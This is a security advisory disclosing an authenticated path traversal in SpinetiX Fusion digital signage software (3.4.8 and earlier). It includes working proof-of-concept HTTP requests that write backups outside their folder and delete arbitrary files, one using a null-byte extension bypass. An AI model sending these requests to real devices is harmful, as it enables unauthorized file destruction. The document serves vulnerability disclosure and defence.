SpinetiX Fusion Digital Signage 3.4.8 Path Traversal

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SpinetiX Fusion Digital Signage 3.4.8 File Backup/Delete Path Traversal  
  
  
Vendor: SpinetiX AG  
Product web page: https://www.spinetix.com  
Affected version: <= 3.4.8 (1.0.36274)  
  
Summary: At SpinetiX we inspire businesses to unlock the potential of their story.  
We believe in the power of digital signage as a dynamic new storytelling platform  
to engage with people. For more than 13 years, we have been constantly innovating  
to deliver cutting-edge digital signage solutions that help our customers shine.  
Fusion is a built-in content management application accessible from a standard web  
browser - it is pre-installed on every HMP200, HMP130, and HMP100 device, and does  
not require any additional license, cost, or software installation.  
  
Desc: The application suffers from an authenticated path traversal vulnerability.  
Input passed via several parameters in index.php script is not properly verified  
before being used to create and delete files. This can be exploited to write backup  
files to an arbitrary location and/or delete arbitrary files via traversal attacks.   
  
Tested on: Apache 2.2.34  
PHP/5.3.18-2  
Linux 2.6.10  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2020-5594  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5594.php  
  
  
03.08.2020  
  
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File Backup Path Traversal:  
---------------------------  
  
POST /fusion/index.php?r=backup/create HTTP/1.1  
Host: 192.168.1.1  
Content-Length: 62  
Accept: */*  
X-Requested-With: XMLHttpRequest  
User-Agent: Mooshoo/1.2  
Content-Type: application/x-www-form-urlencoded  
Origin: http://192.168.1.1  
Referer: http://192.168.1.1/fusion/index.php?r=settings/settings  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: fusionsess=vb5se309b2seig780p47ch0pn1  
Connection: close  
  
SystemBackup%5Bname%5D=..%2Ftest&SystemBackup%5Bbackupall%5D=0  
  
  
File Delete (test.7z) Path Traversal:  
-------------------------------------  
  
GET /fusion/index.php?r=backup/delete&id=backup%3A../test&_=1600981467420 HTTP/1.1  
Host: 192.168.1.1  
  
  
Arbitrary File Delete Null Terminated String Extension Bypass Path Traversal:  
-----------------------------------------------------------------------------  
  
GET /fusion/index.php?r=backup/delete&id=backup%3A../scripts/layouttheme.js%00&_=1600981467420 HTTP/1.1  
Host: 192.168.1.1  
  
  
Arbitrary Image Delete:  
-----------------------  
  
GET /fusion/index.php?r=files/delete&id=image%3A../dirtysecret.svg&_=1601128841154 HTTP/1.1  
Host: 192.168.1.1  
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